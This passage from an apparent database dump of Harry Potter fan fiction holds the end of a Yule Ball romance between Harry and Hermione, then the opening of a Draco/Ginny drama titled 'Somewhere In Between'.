to the Great Hall, and right before they reached then entrance, which Ron and Lavender had already passed through, the whispers started behind them.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;Is that <b>Draco Malfoy</b> with <b>Ginny Weasley</b>?&#8221; &#8220;I always thought he hated Weasleys&#8230;&#8221; &#8220;Ooh.. I wonder what his dad would say about this.&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Unfortunately for the speaker of the last one, Malfoy had heard them.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My father&#8217;s opinion does not matter to me any longer on such things as who I see. I&#8217;m old enough to decide that for myself, thank you very much.&#8221; Then he wrapped his arm around Ginny&#8217;s shoulders and smiled reassuringly at her.&nbsp; &#8220;Have I told you how lucky I am to be with you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, Dragon, but I don&#8217;t mind if you do.&#8221; She grinned up at him, not noticing the smug looks being sent at them by Hermione, who was answering Harry&#8217;s question&#8217;s in an off-handed manner.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Herm, is that <b>Ginny</b>? With <b>Mal- Draco?</b>&#8221; Harry asked her as they turned to head inside. &#8220;If it is, I&#8217;d better warn Ron, he&#8217;ll freak out if he sees Ginny with Malfoy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, Harry, that&#8217;s Ginny, and yes, she&#8217;s with Malfoy. But you&#8217;re not going to Ron, because it&#8217;s not his job to decide who Ginny can go to balls or to Hogsmeade with. And yes, I&#8217;ve known about Ginny and Malfoy, and I say as long as he treats her well and she&#8217;s happy&#8230;&#8221; She trailed off because Draco and Ginny had just entered the hall, seemingly oblivious now to the stares and whispers. They passed by Harry and Hermione, and as they did so, Hermione just barely made out a &#8216;Thank you, Herm.&#8217; from Ginny. Then she turned back to Harry, and over his shoulder caught a fleeting glimpse of Ron&#8217;s face. &#8220;I&#8217;m glad Lavender&#8217;s over there to hold him back and calm him down. Though, I hope he doesn&#8217;t get mad at Lavender or myself when he finds out we helped Ginny with her hair and getting to the place they were going to meet.&#8221; That last comment had struck something within Harry&#8217;s mind, something he&#8217;d been wondering about but had never acknowledged.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, Herm, does that last thing have anything to do with why you borrowed my invisibility cloak?&#8221; He couldn&#8217;t help himself, it slipped out of his mouth before he could stop it.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Guilty as charged, Mr. Potter, as that&#8217;s the entire reason I asked you for it. I figured if Ginny herself had asked for it, Ron would have been asking a million questions as soon as the request came out of her mouth.&#8221; Hermione gave him a look that said plainly &#8216;Don&#8217;t even think you can come up with a contradiction to <b>that</b>.&#8217; Though it wasn&#8217;t as if he needed the look to tell him that. After all, it was true. Out of all of the Weasley brothers, Ron was easily the most overprotective of his sister. In fact, he was starting to show it at that very moment.&nbsp; &#8220;Oh, no! C&#8217;mon, Harry! We have to go stop Ron before he gets in trouble!&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Harry allowed her to drag him over there, simply because he had plans of holding Ron back from Malfoy, who seemed to really be interested in only Ginny, and if Ginny wanted to see Malfoy, it was her choice, because Ron dictating her life was quite ridiculous, really.</p>\n\n<p>&nbsp;</p>\n\n<p>*~*~*~*~*~*~*~*~*~*~*~*</p>\n\n<p>&nbsp;</p>\n\n<p>When they got over there, it was clear that their help would not be needed. Lavender was already calming Ron down, and had presently convinced him, with Ginny&#8217;s help, to give Malfoy a chance on one condition &#8211; If Malfoy did anything to hurt Ginny, and Ron found out, <b>then</b> Ron could hurt him. But as Lavender told Ron, &#8220;Nobody wants a fight during a ball, Ron, so just let them be.&#8221; And he did.</p>\n\n<p>&nbsp;</p>\n\n<p>Amazingly, Ginny convinced Malfoy that, instead of sitting with the Slytherins, they needed to sit with the Gryffindors. Namely, Ron, Lavender, Hermione, and Harry. </p>\n\n<p>&nbsp;</p>\n\n<p>There was little conversation at first, until Draco said the last thing anyone ever expected to hear him say.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Uh, listen, you guys, I&#8217;m really sorry for how I&#8217;ve treated you all in the past, and especially for uh, calling Gran- Hermione a, uh, a&#8221; Draco stopped, as the others, except Ginny, were looking at him in shock. Hermione regained her composure first and actually finished his sentence for him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A mudblood? Is that what you were going to say?&#8221; Hermione asked.&nbsp; She appeared surprised, but inside, she had known that Ginny would never see him if he wasn&#8217;t truly sorry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, that. I regret ever having used it, as it is a foul, ugly word, and should really be used on people like my father and Voldemort.&#8221; Draco recovered his smooth attitude quite spectacularly, and was appearing not to notice the look of disbelief on Ron&#8217;s face, and the look of amusement on Harry&#8217;s.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, I agree that it should be used on them!&#8221; Ginny exclaimed suddenly. She&#8217;d had her head resting on Draco&#8217;s shoulder while he and Hermione had been talking.</p>\n\n<p>&nbsp;</p>\n\n<p>This got the others to talking and pretty soon, Ron, Harry, and Draco were chatting like they&#8217;d known each other all their lives and had never been enemies.. Of course, Ron and Harry didn&#8217;t trust Draco completely, ad he had done some horrid things in the past few years.&nbsp; But in their opinions, he had a wicked sense of humour, and was very intelligent, considering who he had for friends.</p>\n\n<p>&nbsp;</p>\n\n<p>*************</p>\n\n<p>&nbsp;</p>\n\n<p>The meal portion ended, and a few couples got up to dance.&nbsp; However, Dumbledore stood up, and motioned for the music to be cut off.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m pleased to have a special treat for you all.&nbsp; We have a special guest here tonight, a popular singer who&#8217;s most famous song is the anthem for the Puddlemere United Quidditch team.&nbsp; She&#8217;s getting into the Yuletide Spirit by singin a popular muggle carol, <i>Rockin&#8217; Around the Christmas Tree</i>. Ladies and gentlemen, Miss Celestina Warbeck!&#8221; Dumbledore didn&#8217;t try to keep their attention any longer, as the cheers from the majority of the male population were quite deafening. So he snapped his fingers once, a huge christmas tree appeared in the center of the room, and snapped them again so it was decorated, with lights.</p>\n\n<p>&nbsp;</p>\n\n<p>Celestina took up the command of the activities.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right, Hogwarts!&nbsp; As you will have noticed by now, your dear headmaster has placed a tree in the center of the room.&nbsp; I am going to hold a contest of sorts.. First verse will be the 4th and 5th years, 1st Chorus will be the 6th and 7th years. &nbsp;The teachers are going to be watching. If you drop the connection between yourself and any of the people beside you, you&#8217;re out. The three couples from each year, or years, will get to stay or come back in for the 2nd verse and the end of the song. But the deal with the last portion is this&#8212;Couples will be taken out one at a time, and magic is allowed to keep the connection, because this tree is big, and we will eventually have three, two, and then only one couple left.&nbsp; The last couple left will be our Yuletide Sweethearts.&nbsp; So, might I have all 4th and 5th years who are interested out here around the tree?&#8221;&nbsp; Celestina cued her musicians who opened the song.</p>\n\n<p>&nbsp;</p> &#8220;<i>Rocking around the Christmas tree</i><i>at the Christmas party hop</i><i>Mistletoe hung where you can see</i><i>every couple tries to stop</i><i>Rocking around the Christmas tree,</i><i>let the Christmas spirit ring</i><i>Later we\'ll have some pumpkin pie</i><i>and we\'ll do some caroling.</i>&#8221;&nbsp;Out of the 4th and 5th years who had chosen to join in, Padma Patil and Terry Boot, Harry and Hermione, and surprising everyone, Neville Longbottom and Hannah Abbott, were the 3 who got to go on. Then the 6th and 7th years went out to show their stuff, though they were definitely nervous, because the 5th years that had made it were clever in how they stayed together.&nbsp;&#8220;<i>You will get a sentimental</i><i>feeling when you hear</i><i>Voices singing let\'s be jolly,</i><i>deck the halls with boughs of holly</i><i>Rocking around the Christmas tree,</i><i>have a happy holiday</i><i>Everyone dancing merrily</i><i>in the new old-fashioned way.</i>&#8221; <p>&nbsp;</p>\n\n<p>In the end, Cho Chang and Roger Davies, Fred and Angelina, and George and Alicia were the ones from that group that got to go on.&nbsp; So they stayed in their positions by the tree while the 5th years joined them. Fred wound up next to Roger, Padma to Cho, Terry to Neville, Hannah to Hermione, Harry to George, and Angelina and Alicia next to each other. They waited on their cue, and started back up around the tree.</p>\n\n<p>&nbsp;</p> &#8220;<i>Rocking around the Christmas tree</i><i>at the Christmas party hop</i><i>Mistletoe hung where you can see</i><i>every couple tries to stop</i><i>Rocking around the Christmas tree,</i><i>let the Christmas spirit ring</i><i>Later we\'ll have some pumpkin pie</i><i>and we\'ll do some caroling.</i>&#8221; <p>&nbsp;</p>\n\n<p>By the time Celestina finished with the verse the second time, Harry and Hermione were the only 5th years left, with George and Alicia, and Roger and Cho being the 6th and 7th years.&nbsp; Harry and Hermione had already come up with something to keep them together, no matter what.&nbsp; Right when they had started, Harry had dug his wand out of his pocket and conjured up a length of rope, then split it in half, slipping Hermione one end.&nbsp; Her hand had temporarily moved to his arm, as the rule was not to lose contact.&nbsp; They had tied their ropes ends together in a knot, fingers lingering over each others. Now, it was clear that in a moment they would need their ropes. &nbsp;Hermione had pulled out her wand quickly and muttered a charm so the ropes would look as if they were arms and their actual hands.</p>\n\n<p>&nbsp;</p> &#8220;<i>You will get a sentimental</i><i>feeling when you hear</i><i>Voices singing let\'s be jolly,</i><i>deck the halls with boughs of holly</i><i>Rocking around the Christmas tree,</i><i>have a happy holiday</i><i>Everyone dancing merrily</i><i>in the new, &nbsp;old - fashioned, &nbsp;way.</i>&#8221; <p>&nbsp;</p>\n\n<p>The first pair out of the three remaining to get pulled out was Cho and Roger. Cho whispered a soft &#8220;Good luck.&#8221; to Harry and Hermione as they left. Hermione quickly grabbed Alicia&#8217;s proferred hand, and let her hand pull slightly away from Harry&#8217;s.&nbsp; Then George made the mistake that cost him and Alicia the contest.&nbsp; George had noticed the rope, albeit a little too late, and was reaching for his wadn to conjure up some rope. &nbsp;McGonnagall had noticed this right away, and had signalled to Dumbledore that they had their winners.&nbsp; This was perfect timing, as Celestina was heading into the last line of the song.&nbsp; She held the last line&#8217;s notes like the muggle version had been, and the song ended.&nbsp; Dumbledore went up and conferred with Celestina, who smiled when she heard just who had won.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ladies, and gentlemen. May I have your attention, please?&nbsp; Headmaster Dumbledore has just informed me that we have our winners. And I&#8217;m sure you&#8217;ll all agree with me when I say they make a fine looking pair.&nbsp; Ladies and gentlemen, it is my pleasure to announce that the winners of our competition are none other than Mr. Harry Potter and Miss Hermione Granger! Come on, you two, up here!&#8221; Celestina beckoned them up to where she was standing, and Dumbledore had two little pins that he had quickly transfigured into little Misletoe Hearts.&nbsp; He handed them to each other, handing Harry&#8217;s to Hermione, and vice-versa.&nbsp; Hermione pinned Harry&#8217;s on his robes, and he did the same to her. &nbsp;She kissed his cheek on impulse, and he blushed slightly. She had blushed a bit too, as the whole room had seemed to sigh. They went and sat down amidst the sudden burst of chatter.</p>\n\n<p>&nbsp;</p>\n\n<p>*************</p>\n\n<p>&nbsp;</p>\n\n<p>After the contest finished, Ron quickly pronounced himself bored, and Lavender took that as a sign to drag him out on the dance floor.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, I won&#8217;t force you to dance if you don&#8217;t want to.&#8221;&nbsp; Hermione said gently.&nbsp; &#8220;But I don&#8217;t care if you can dance or not, I&#8217;d still enjoy myself just as much as if you were the best dancer on the planet.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry laughed. &#8220;Well, if you ask me, I can&#8217;t be much worse than Ron. After all, he&#8217;s fooling around out there right now.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione turned around, and sure enough, Ron was doing a dance worthy of boy bands mixed in with hip-hop, rap, and rock head bashing.&nbsp; All in all, it looked very crazy, yet very much like Ron himself.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re right, you couldn&#8217;t be much worse than that.&nbsp; And if you&#8217;re unsure, I know how to lead and make it look like you&#8217;re doing the leading.&nbsp; I don&#8217;t mind at all.&#8221;&nbsp; Hermione smiled reassuringly at him, and he felt his dancing nerves lessen bit by bit until they were gone.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry then set his butterbeer down, stood up and offered her his hand.&nbsp; &#8220;Would you, care to dance, Lady Granger?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Placing her hand in his in reply, Hermione allowed him to help her stand, and they led each other to the dance floor.&nbsp; She then guided his hands until they were in the proper position, placed hers where they should go and started moving slightly.&nbsp; Harry, getting the idea, followed suit, and found that once he got the step pattern in his head, it was quite simple. </p>\n\n<p>&nbsp;</p>\n\n<p>After a few moments, the magical sound system stopped playing the music it had originally been playing, and a song started up. When the opening notes sounded, Hermione smiled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I found a charm that would make muggle electronics work here, and had my mom and dad send me one of my radios and some of my music to play in them. When they sent me my stereo, they had this song&#8217;s album in it as a birthday present.&nbsp; I love this song, it&#8217;s a beautiful one.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>As he listened to the words, Harry understood why she liked it so much. &#8220;Well, Herm, let&#8217;s dance to it then.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ok.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>~*~Song Interlude~*~</p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>You light me up and then I fall for you.<br>\n You lay me down and then I call for you.<br>\n Stumbling on reasons that are far and few<br>\n I let it all come down and then sung for you.<br>\n\n\n<br>\n Pretty baby, don\'t you leave me<br>\n I have been saving smiles for you.<br>\n Pretty baby, why can\'t you see?<br>\n You\'re the one that I belong to.<br>\n I\'ll be the embrace that keeps you warm<br>\n You\'re the sun that breaks the storm<br>\n I\'ll be all right and I\'ll sleep sound<br>\n As long as you keep coming \'round.<br>\n Oh pretty baby.<br>\n\n\n<br>\n And I know things can\'t last forever<br>\n But there are lessons that you\'ll never learn.<br>\n Oh just the scent of you, it makes me hurt.<br>\n So havin\' your love makes me better. Oh<br>\n\n\n<br>\n Pretty baby, don\'t you leave me<br>\n I have been saving smiles for you.<br>\n Pretty baby, why can\'t you see?<br>\n You\'re the one that I belong to.<br>\n I\'ll be the embrace that keeps you warm<br>\n You\'re the sun that breaks the storm<br>\n I\'ll be all right and I\'ll sleep sound<br>\n As long as you keep coming<br>\n\n\n<br>\n Can you hold me?<br>\n And never let go<br>\n When you touch me<br>\n And it\'s me that you own.<br>\n Pretty baby,<br>\n oh the place that you hold in my heart.<br>\n Would you break it apart? Again<br>\n Oh pretty baby<br>\n\n\n<br>\n Pretty baby, don\'t you leave me<br>\n I have been saving smiles for you.<br>\n Pretty baby, why can\'t you see?<br>\n You\'re the one that I belong to.<br>\n I\'ll be the embrace that keeps you warm<br>\n You\'re the sun that breaks the storm<br>\n I\'ll be all right and I\'ll sleep sound<br>\n As long as you keep coming \'round.<br>\n\n\n<br>\n Pretty baby, why can\'t you see?<br>\n Pretty baby, don\'t you leave me.<br>\n Pretty baby, why can\'t you see?<br>\n Pretty baby, don\'t you leave me.<br>\n Pretty baby. My pretty baby<br>\n My pretty baby, don\'t you leave me</i>.</p>\n\n<p>&nbsp;</p>\n\n<p><b><i>-</i></b><b>\n\n<i>&#8220;Pretty Baby&#8221;, by Vanessa Carlton, Album &#8211; Be Not Nobody</i></b></p>\n\n<p>&nbsp;</p>\n\n<p>~*~End Song Interlude~*~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Herm?&#8221;&nbsp; He looked at her, almost searching her soul, with those piercing green eyes of his.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hmm?&#8221;&nbsp; She just kept looking back at him, every so often taking a glance at his lips, which were definitely looking very appealing at that very moment.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;C-can I-I, uh, what I mean is, Herm, I need to talk to you.&nbsp; I don&#8217;t care if we talk right here, I just need to talk to you.&#8221;&nbsp; He suddenly looked as if this was very important to him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of course, Harry, you can talk to me about anything at all!&#8221; <i>Especially if you&#8217;re saying you love me,</i> cam the annoying voice in her mind.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We-ell, the thing is, I&#8217;m really starting to, uh, be really, uh, <i>attracted</i> to, uh, oh bloody hell&#8230; Ithikimrllyatrctdtoyou and that I rllylvyou.&#8221; Harry blushed, looking at his feet.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What did you say, Harry? Did you say that you&#8217;re <i>attracted</i> to me? And that you <i>love</i> me? Because if you did, I uh, I think you&#8217;re really nice-looking and that I, uh, love you too.&#8221; She too blushed and looked at her feet.</p>\n\n<p>&nbsp;</p>\n\n<p>He looked up, and placed his finger under her chin, lifting it up to where she was looking him in the eyes.&nbsp; &#8220;Yes, Herm, I <b>did</b> say both of those things, and I meant every word.&#8221;&nbsp; He brought his other hand up to tuck a curl behind her ears, his fingers lingering from the incredible tingling he felt from his fingers being in contact with her skin. Suddenly, he wanted to kiss her so bad it hurt.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>He leaned in closer, noticing her eyes fluttering shut when he was close. Their lips brushed against each others just barely, but the fluttering in their stomachs was so intense he couldn&#8217;t resist pressing his lips harder against hers. <i>Funny&#8230; She tastes like Pumpkin Pie&#8230;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Hermione was in heaven&#8230; absolute contentment.&nbsp; Truth be told, this was the best thing she had ever experienced, and she knew that if she ever had to really learn how to produce a patronus, this would be her happy moment, it was so amazing.</p>\n\n<p>&nbsp;</p>\n\n<p>He pulled away, to take in some much-needed air, and saw her face. It was almost glowing. She opened her eyes, which had a dazed look to them.&nbsp; Harry smiled softly at her, before pulling her close for another kiss. And at that moment, neither one cared that they were in the middle of the ball, with everyone&#8217;s eyes on them.</p>\n\n<p>&nbsp;</p>\n\n<p>For they were together, and that was all they would ever need, was each other.</p>\n\n<p>&nbsp;</p> '),
	(121, 1, '<span class="u">Somewhere In Between</span>\n<p><b>Author</b>: sunnycouger (<a class="__cf_email__" href="/cdn-cgi/l/email-protection">[email protected]</a><script>\n/*  */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/*  */</script>) \n</p><p><b>Category</b>: Drama, Romance \n</p><p><b>Rating</b>: PG-13. \n</p><p><b>Summary</b>: Future fic set after Hogwarts, from Ginny\'s POV as she reflects on key points in her relationship with Draco Malfoy. Draco and Ginny goodness for all you fans out there! Just don\'t expect a happy ending. \n</p><p><b>Disclaimer</b>: The characters of Harry Potter don\'t belong to me, I\'m just taking them out to play and I promise to get them home to JK Rowling in time for the next book :) But, just in case you were in any doubt as to who they belong to have a look at this: This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. The song doesn\'t belong to me either - some genius wrote it so it would be hugely unfair of me to take the credit so any plaudits belong to the amazing Lifehouse. \n</p><p><b>Authors Notes</b>: Um, a D/G fic here is probably not going to be widely read but I\'m taking a chance anyway. :) This is a fic that I have had some really great reviews for elsewhere and although I\'m in a severe minority here I figured \'what the hell, why not?\' Anyway, I hope you guys like and aren\'t too put off with the pairing. If you do like it, there are stand-alone prequels that I\'ve already written that accompany it that explains the progression of the relationship up until the point in this fic and there\'s a sequel that I was forced to write because a friend of mine blackmailed me into it. ;) I hope you all enjoy and if you want to ask any questions then feel free to email me. \n</p><p>~ ~ ~ ~ ~ \n</p><p><i>Cause I cannot stand still <br/>\nI can\'t be this unsturdy <br/>\nThis cannot be happening <br/>\n<br/>\nThis is over my head <br/>\nBut underneath my feet <br/>\nCause by tomorrow morning I\'ll have this thing beat <br/>\nAnd everything will be back to the way that it was <br/>\nI wish that it was just that easy.</i>\n</p><p>~ Lifehouse - Somewhere In Between ~ \n</p><p>It should have been easy. He didn\'t mean anything to her after all. He was...he was just there. She didn\'t care about him, yet she couldn\'t escape the intense need to cry. The others...the others didn\'t care and they were fine. They looked stunned but...they were fine. Why did she feel like this? She had told him before he even went that he better not expect her to cry, because she wouldn\'t. \n</p><p>She sat down and stared out at the lake in the grounds of Hogwarts. She had graduated three years ago but everytime she stepped into the grounds she felt like she was fourteen again and crushing on her brother\'s best friend. The famous Harry Potter - The Boy Who Lived. She turned her head and looked over; his black hair was prominent beside her brother\'s red. Yes, at that point things were so much simpler. Why did it have to change? \n</p><p>She thought back, looking for a moment that would provide the clarity she needed. Was it in sixth year when she had actually spoken to Malfoy properly for the first time? Was it graduation when he showed up, black mark burned into his forearm warning Dumbledore that the school was going to be attacked? Or was it the night that he had went to the lake because he couldn\'t sleep and found her alone? \n</p><p>She felt herself smile slightly as she looked at the sun reflecting of the water. Neither of them should have been there really. He was a Death Eater after all who could have very easily been sent to be a spy, and she was a Weasley who was staying at Hogwarts for a few days for assistance in becoming an animagus. They shouldn\'t have met that night. If they hadn\'t met then it wouldn\'t have happened: none of it would have happened. \n</p><p>She closed her eyes as the memory played through her head unbidden. \n</p><p>~ ~ ~ ~ ~ \n</p><p><i>"I thought you had to stay in the school, Malfoy?" She looked down from her space in the branch about 10 feet from the ground to see a reflective looking Draco Malfoy looking out towards the lake. "Professor Dumbledore won\'t be happy if he sees you out here...not that I\'ll tell - I could do with the company..."</i>\n</p><p><i>He turned abruptly, clearly surprised at the presence of someone else. His blond hair reflected the moonlight as he turned his pale gray eyes towards her. "I\'m a bit old to be following rules, am I not? I couldn\'t sleep and I needed some air. What\'s your excuse? Out in the middle of the night, alone..."</i>\n</p><p><i>"Unlike some people around here," she smiled at him and shrugged her shoulders, "I don\'t need an excuse..."</i>\n</p><p><i>"Good point." He walked over to her and climbed up to sit on the branch beside her. </i>\n</p><p><i>"So what brings out here? Peeves throwing the armour around again?" Ginny asked as he steadied himself on the branch.</i>\n</p><p><i>He shook his head and sighed. "Can\'t sleep," he looked at her before turning back to the water. "Do you ever wonder why your life turned out like it did and what would have happened if you had made different choices, Ginny? If you had shown a bit of character earlier in your life instead of waiting until things were too late to fix..."</i>\n</p><p><i>She shook her head as she looked at the water. "No, I like my life as it is..."</i>\n</p><p><i>"Typical response from a Weasley. You all believe your life is perfect," Draco sighed. "And the rest of us mere mortals should get on with it."</i>\n</p><p><i>Ginny shook her head. "I don\'t for a second think my life is perfect, but I refuse to dwell on the past and blaming a choice that I may or may not have made."</i>\n</p><p><i>Draco shook his head as he turned and looked back towards the lake. "Are you trying to tell me that you wouldn\'t have spoken to Potter sooner if you had the chance all over again? Because if you expect me to believe that you are deluded."</i>\n</p><p><i>Ginny sighed and looked away. "Why do you do that, Malfoy? Why do you show your contempt for me even when you are trying to have a civilised conversation?"</i>\n</p><p><i>Draco turned to her and smiled bitterly. "Good question. Why do you still insist on calling me Malfoy when we speak? It\'s been nearly two years since we had our first conversation and we have had many since yet you have never once called me by my name. It\'s always Malfoy," he turned away from her again and shook his head. "And you get upset when I mention Potter\'s name? You can\'t have it both ways - you can\'t expect me to give you anything other than the contempt you give me."</i>\n</p><p><i>Ginny bit her lip and looked at him. "I...I have called you by your name."</i>\n</p><p><i>"Really?" Draco turned to her with a cool gaze. "When? Give me one example." He waited for a minute expecting her to respond and when she didn\'t he shook his head and gave a derisive laugh. "Exactly."</i>\n</p><p><i>He jumped down of the branch agilely and looked up at her. "I don\'t expect anything from you Ginny, but would it kill you or your family to acknowledge me without seeing my father? People do change - even the morally ambiguous. If I had wanted to kill Muggles and destroy Dumbledore I wouldn\'t be here now as a fugitive. I would be out, with my family, spending a fortune and being free and having fun, instead of chained to this castle, tutoring the children of Death Eaters who would gladly kill me. Remember that next time when you look at me and see my father."</i>\n</p><p><i>He shook his head and began walking away as she watched him. She bit her lip as she closed her eyes. Why was it so hard for her? Because if she called him anything other than Malfoy she would perhaps see that he was more than the boy he had been at school? She would perhaps forget that he was related to Lucius Malfoy? Maybe if she didn\'t keep calling him Malfoy she would forget that their families hated each other. Maybe if she used his name she would forget that she couldn\'t feel anything for him. </i>\n</p><p><i>She looked again, half hoping he would walk back towards her but he was still retreating. She shook her head and began climbing down the tree. She couldn\'t let him walk away like that - if she did it would be ignoring a part of her that wanted him to stop.</i>\n</p><p><i>"Stop. Please stop," she halted and waited on him to turn around. "Please..."</i>\n</p><p><i>Draco paused and took a deep breath as he turned around. He held his hands out in a gesture for her to speak as he looked at her with an expressionless face. "What?"</i>\n</p><p><i>She took a deep breath as she took a few steps over towards him. "I...I\'m sorry...Draco..."</i>\n</p><p><i>He looked at her coolly before his face broke into an uncharacteristic smile. "Did it hurt to say it?"</i>\n</p><p><i>Ginny began to laugh as she took another step towards him. "Funnily enough, it was pretty easy..." she looked at him and put her hand gently on his forearm. "I do appreciate what you\'ve given up to be here, you know. So does my family...it\'s just. Your dad...sometimes it\'s difficult to remember that the two of you are related. And then you have a look, or the tone of your voice, or a comment and it reminds me that you *are* his son. And that I care about the son - even though I despise the father and that makes me uncomfortable because the two are similar in so many ways..."</i>\n</p><p><i>Draco looked down at her and took a deep breath. "You...care? Why?"</i>\n</p><p><i>She smiled as she shook her head. "Because I\'m not sure if I know anyone else who would be brave enough to turn away from their father after believing he was a God for eighteen years. I don\'t know anyone who would put themselves through the humiliation of asking for help from people he hated," she looked at him and smiled softly as she lowered her voice. "Because ever since that time in sixth year, even though you despised me and I despised you, you never ignored me, and because you are the only person who felt the need to ask if I was all right after Hogsmeade was attacked. That\'s why I care..."</i>\n</p><p><i>He looked down, the faintest blush appeared on his pale skin before disappearing quickly. "I don\'t deserve it for any of those reasons, you know? I came back to save the school for selfish reasons - because I didn\'t want it destroyed and defiled to fulfil Voldermort\'s vendetta. I asked for Potter\'s help because he was the only one who could help. I only didn\'t ignore you in my final year because I enjoyed the reaction I got out of your brother and Potter and," he took a deep breath as he continued, "I only asked about Hogsmeade because you were upset, and your brothers weren\'t there. You needed someone to talk to, or yell at and as you hated me you could probably say things that you couldn\'t say to someone you liked..." he took another breath as he shook his head. "I\'m not really the complete bastard you all think I am all the time, I sometimes have a conscience - even for you. You were upset and I just wanted to make sure you were all right - that\'s all."</i>\n</p><p><i>"That was enough," she sighed as she looked down. For the first time she noticed the hand that she had touched his forearm with was now interlaced with his hand. She blushed slightly as she became aware of her skin tingling under his touch but didn\'t pull away as he looked at her, equally as unaware as she was.</i>\n</p><p><i>He sighed as he looked at her and closed his eyes for a moment before turning his gaze back towards her. "Funny how we ended up here. A Weasley and a Malfoy, alone in the middle of the night in the grounds of Hogwarts after they had graduated. I doubt either of us would have predicted our lives would lead to this point."</i>\n</p><p><i>"No, I doubt it. But, things happen..." Ginny shook her head. "And we would have had the conversation sooner or later anyway."</i>\n</p><p><i>"Yes...yes we would have I suppose," Draco nodded his head as he took a step closer to her and touched her face gently, almost unsurely. "Are you still in love with Potter?"</i>\n</p><p><i>She looked at him and shook her head as she reached up and brushed a thread of hair away from his eyes. "No...not for years - what about you?"</i>\n</p><p><i>Draco looked at her and gave an amused smile. "No, I managed to get over my feelings for him..."</i>\n</p><p><i>She blushed furiously as she looked down before laughing slightly. "I meant are you involved with anyone?"</i>\n</p><p><i>"Define involved? If you mean am I dating someone at present then no, but," he lifted his hand up that had her hand entwined and smiled as he looked at it. "But I have hope for good things for the future..."</i>\n</p><p><i>He bent his head down and kissed her gently at first, before pulling back to look at her. She felt her heart beating erratically as her lips tingled as she smiled at him - what had just happened? She couldn\'t even describe what she was feeling as instinct took over as she brought her free hand up to his neck and pulled his lips onto hers and kissed him passionately.</i>\n</p><p>~ ~ ~ ~ ~ \n</p><p>Ginny closed her eyes and shook her head. She would not cry. She didn\'t care, it was a stupid relationship. She didn\'t care that she wouldn\'t see him again - that she wouldn\'t feel his touch on her bare skin. That she would never again hear him talk to her in the low intense voice he saved for when he wanted her to know how he felt about her. That she would never wake up enveloped in his arms... \n</p><p>She took a couple of deep breaths as she squeezed her eyes shut. She would not cry! \n</p><p>"Ginny?" \n</p><p>She turned away from the water and looked at the figure of her father and mother standing looking at her sadly. \n</p><p>"Yes?" she asked, her voice steady, her gaze strong and her posture straight and proud. She wouldn\'t be weak. \n</p><p>Arthur walked over to her and put her hand around her shoulders. "Are you okay?" \n</p><p>Molly shook her head as she walked over to her daughter. "Of course she isn\'t - but she will be, won\'t you sweetheart?" \n</p><p>She smiled and nodded her head. "Sure. I\'ll be okay. I\'m fine actually - I don\'t know why we have to go through with this anyway. It isn\'t like anyone else here likes him apart from the staff..." \n</p><p>She caught herself as she looked at her parents who were looking at her sadly as though she was about to break. Past tense, she remembered. No more talking about him like he\'s there. "Liked him, even..." \n</p><p>Molly indicated to Arthur who walked away leaving the two women alone reluctantly after he briefly hugged Ginny and whispered, "It\'ll be okay, Gin. It\'ll get better, I promise..." \n</p><p>As Arthur disappeared from view Ginny looked at Molly expectantly. No doubt this was the \'things will get better, you only have to be strong and there\'s plenty more fish in the sea speech.\' that she had given Charlie when his fiancee left him. \n</p><p>"Mum, before you start. I\'m fine, great in fact. I don\'t need \'pepped\' up, I know I\'ll no doubt meet someone else and I\'ll forget all about him and I know that everyone here is there for me and that you all are sorry that it happened but that it wasn\'t unexpected. I know all that, so if we can just skip to the part where we hug and then we can both move on already..." \n</p><p>She took a deep breath as she finished and looked at her mother who was looking at her like she was about to cry. She felt herself get angry. Why was she crying? She didn\'t like him! "Why are you crying? I thought you\'d be pleased? You and Dad, and Ron, and Harry, and Fred, and George, and Hermione and Charlie? Bill was the only one who was ever civil to him. So the rest 